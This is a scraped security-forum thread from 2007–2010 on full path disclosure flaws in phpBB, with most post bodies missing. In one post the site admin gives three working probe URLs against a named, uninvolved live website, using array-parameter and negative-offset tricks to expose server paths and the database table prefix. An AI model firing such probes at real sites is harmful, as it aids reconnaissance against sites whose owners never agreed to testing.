|
|
|
|
Menu |
|
|
Home |
| |
|
Discussions |
| |
|
Tools |
| |
|
Affiliates |
| |
|
Content |
| |
|
Info |
| | |
|
|
|
|
|
User Info |
|
Membership:
Latest: MichaelSnaRe
New Today: 0
New Yesterday: 0
Overall: 9144
People Online:
Visitors: 65
Members: 0
Total: 65
|
|
|
|
|
|
Full disclosure |
|
|
|
|
|
|
|
|
|
IT Security and Insecurity Portal |
|
|
Full path disclosure in phpBB |
|
Posted: Thu May 24, 2007 12:52 pm |
|
|
pexli |
Valuable expert |
|
|
Joined: May 24, 2007 |
Posts: 665 |
Location: Bulgaria |
|
|
|
|
|
|
|
|
|
|
Posted: Thu May 24, 2007 1:02 pm |
|
|
waraxe |
Site admin |
|
|
Joined: May 11, 2004 |
Posts: 2407 |
Location: Estonia, Tartu |
|
|
|
|
|
|
|
|
|
|
Posted: Sat May 26, 2007 12:59 pm |
|
|
pexli |
Valuable expert |
|
|
Joined: May 24, 2007 |
Posts: 665 |
Location: Bulgaria |
|
|
|
|
|
|
Thank you. |
|
|
|
|
Posted: Fri Oct 19, 2007 6:48 pm |
|
|
kinnie |
Regular user |
|
|
Joined: Oct 07, 2007 |
Posts: 9 |
|
|
|
|
|
|
|
Above links not working |
|
|
|
|
Posted: Fri Oct 19, 2007 9:58 pm |
|
|
waraxe |
Site admin |
|
|
Joined: May 11, 2004 |
Posts: 2407 |
Location: Estonia, Tartu |
|
|
|
|
|
|
Those links are just examples. Below is real PoC:
Code: |
http://www.mondeosport.co.uk/forum/profile.php?mode[]=viewprofile&u=10
http://www.mondeosport.co.uk/forum/viewtopic.php?t=395&postorder[]=kala
http://www.mondeosport.co.uk/forum/memberlist.php?start=-1
|
And by the way, third example is not path disclosure, but sql table internals disclosure and will show table prefix, which can be different from default "phpbb_" ...
|
|
|
|
|
Posted: Wed Nov 03, 2010 3:04 am |
|
|
tehanderson |
Active user |
|
|
Joined: Dec 23, 2009 |
Posts: 33 |
|
|
|
|
|
|
|
Any Full Path Disclosures for phpBB 3.0.x ( 3.0.8 )? |
|
|
|
|
www.waraxe.us Forum Index -> Full path disclosure
You cannot post new topics in this forum You cannot reply to topics in this forum You cannot edit your posts in this forum You cannot delete your posts in this forum You cannot vote in polls in this forum
|
All times are GMT
Page 1 of 1
|
|
|
Powered by phpBB © 2001-2008 phpBB Group
|
|
|
|
|
|
|